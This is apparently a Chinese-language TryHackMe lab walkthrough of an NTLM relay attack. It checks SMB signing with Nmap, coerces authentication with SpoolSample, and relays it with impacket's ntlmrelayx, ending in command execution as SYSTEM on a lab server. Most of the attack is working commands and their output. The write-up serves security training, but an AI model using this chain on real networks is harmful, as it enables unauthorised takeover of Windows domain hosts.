:::color3 环境:
- 攻击主机: 10.50.78.86
- 目标:
- THMSERVER1 10.200.79.201
:::
计算机账户
打印机错误
SMB 签名
为了中继强制认证尝试,SMB签名不应该被强制执行。应该注意的是,允许SMB签名和强制SMB签名之间是有区别的。由于一些遗留系统不支持SMB签名,在默认情况下,SMB的配置是允许签名但不强制执行,这意味着只有在支持的情况下才会使用。由于我们将托管一个恶意的SMB服务器,我们可以确保我们的服务器不支持签名,迫使目标不签署SMB认证尝试。
为了验证THMSERVER1和THMSERVER2没有强制执行SMB签名,我们可以在我们的攻击盒上使用Nmap。
thm@thm:~# nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc
Nmap scan report for distributor.za.tryhackme.loc (172.31.1.201)
Host is up (0.62s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
Nmap scan report for 172.31.1.202
Host is up (0.38s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
Nmap done: 2 IP addresses (2 hosts up) scanned in 4.59 seconds
我们可以看到 SMB 签名已启用,但是没有输出强制执行
示例
此类攻击可能不稳定
我们将使用 SpoolSample 进行身份验证中继,这是一个 C# 漏洞,我们将使用 SpoolSample 强制身份验证,然后使用 ntlmrelayx.py 来中继身份验证来尝试,
第一步设置 NTLM 中继:
如果我们指定 THMSERVER1 的主机名而不是 IP,主机可能会请求我们使用 Kerberos 身份验证而不是 NTLM。因此,我们应该指定 IP。通过中继侦听,我们现在可以强制 THMSERVER2 向我们进行身份验证。在 THMWRK1 上的 SSH 终端中,执行以下操作:
thm@thm:~# python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -debug
您的攻击者 IP 应与网络的 tunX 接口相对应。如果一切顺利,您应该已收到身份验证尝试和到 THMSERVER1 的中继。
C:\Tools\>SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"
thm$ python3.9 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -c 'whoami /all' -debug
[*] Servers started, waiting for connections
[*] SMBD-Thread-5: Received connection from 172.31.1.202, attacking target smb://172.31.1.201
[*] Authenticating against smb://172.31.1.201 as ZA/THMSERVER2$ SUCCEED
[+] No more targets
[*] SMBD-Thread-7: Connection from 172.31.1.202 controlled, but there are no more targets left!
[+] No more targets
[*] SMBD-Thread-8: Connection from 172.31.1.202 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[+] ExecuteRemote command: %COMSPEC% /Q /c echo whoami /all ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[*] Executed specified command on host: 172.31.1.201
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
[...]
C:\ > SpoolSample.exe THMSERVER1.za.tryhackme.loc "10.50.78.86"
thm@thm:~# python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"10.200.79.201" -c 'whoami' -debug